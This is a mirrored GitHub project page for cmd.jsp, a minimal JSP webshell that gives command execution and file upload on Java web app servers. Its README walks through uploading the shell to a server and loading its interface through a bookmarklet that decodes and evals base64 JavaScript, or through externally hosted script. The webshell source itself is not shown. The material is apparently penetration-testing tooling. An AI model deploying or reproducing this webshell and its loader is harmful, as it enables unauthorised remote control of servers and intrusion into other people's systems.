GithubHelp home page GithubHelp logo

mdb-dev-io / cmd.jsp Goto Github PK

View Code? Open in Web Editor NEW

This project forked from securityriskadvisors/cmd.jsp

0.0 0.0 0.0 20 KB

A super small jsp webshell with file upload capabilities.

License: GNU General Public License v3.0

JavaScript 35.52% Java 64.48%

cmd.jsp's Introduction

A better cmd.jsp

This is a jsp webshell that aims to provide command execution and file upload capability while being as small and widely compatible as possible. To do this, the code for the user interface and client side functionality is contained in javascript which is loaded locally (or hosted elsewhere).

The files:

cmd.jsp

This is the minified version of the webshell.

cmd_readable.jsp

This is the readable version of the webshell. The code is identical to cmd.jsp but with tabs and newlines so that it looks decent.

cmd.war

This is a compressed version of cmd.jsp for use on web app servers that expect .war files.

a.js

This javascript provides the UI and client side functionality.

How to use (Bookmarklet method):

1: Upload cmd.jsp to a java web app server

How this happens is up to you.

2: Browse to /[wherever you put it]/cmd.jsp
3: Use a bookmarklet to add javascript to the page

Add the code below as a link to your bookmarks bar and click it when you are on the cmd.jsp page. It will add the javascript which provides the user interface and client side functionality. (This contains a.js encoded in base64 for reliable copy/pasting.)

javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdi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zdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

How to use (Hosted JS method):

1: Host a.js somewhere
2: Edit cmd.jsp

Remove the contents of the script tag and specify src="[your server]/a.js"

3: Upload cmd.jsp to a java web app server

How this happens is up to you.

4: Browse to /[wherever you put it]/cmd.jsp

cmd.jsp's People

Contributors

bsa26 avatar p-b-- avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.